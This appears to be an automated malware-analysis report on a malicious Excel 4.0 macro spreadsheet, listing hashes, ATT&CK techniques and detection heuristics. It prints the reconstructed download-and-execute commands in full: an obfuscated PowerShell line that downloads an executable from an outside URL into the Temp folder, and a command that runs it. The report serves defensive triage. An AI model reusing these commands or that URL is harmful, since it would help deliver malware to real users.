Office (OOXML) / .XLSM malware analysis — malicious · d0f3ca8216dcf21d

MALICIOUS

Office (OOXML) / .XLSM

13.0 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300

MD5: 6ccb838e604105af2b82aa4ac9de8124 SHA-1: 3fb66d6953ded7f871eac0cc6aaef152c26b15c4 SHA-256: d0f3ca8216dcf21d271fbc8f37104a8677d3d58f6f4178e60ded7b17a9ce180e

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The sample is an XLSM file containing Excel 4.0 macros. The macros utilize the dangerous EXEC function to download a second-stage payload. Specifically, one EXEC command reconstructs to 'powershell (nEw-oBjecT Net.WebcLIENt).(\'Down\'+\'loadFile\').Invoke(\'http://iurl.vip/x03qc\',$env:Temp+\'\\kJHYn.exe\')', which downloads a file from 'http://iurl.vip/x03qc' to '%Temp%\kJHYn.exe'. Another EXEC command is 'cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\kJHYn.exe', which appears to execute the downloaded file after a delay. The document also contains a lure to enable macros.

Heuristics 7

Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://iurl.vip/x03qc
- http://schemas.openxmlformats.org/spreadsheetml/2006/main
- http://schemas.microsoft.com/office/excel/2006/main
- http://schemas.openxmlformats.org/officeDocument/2006/relationships
- http://schemas.openxmlformats.org/markup-compatibility/2006
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml` `b0e865671bab8f29d0b6722b42054ed903dcd93d1acb81d562f38e20d1cc2ea9`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml	1637 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).

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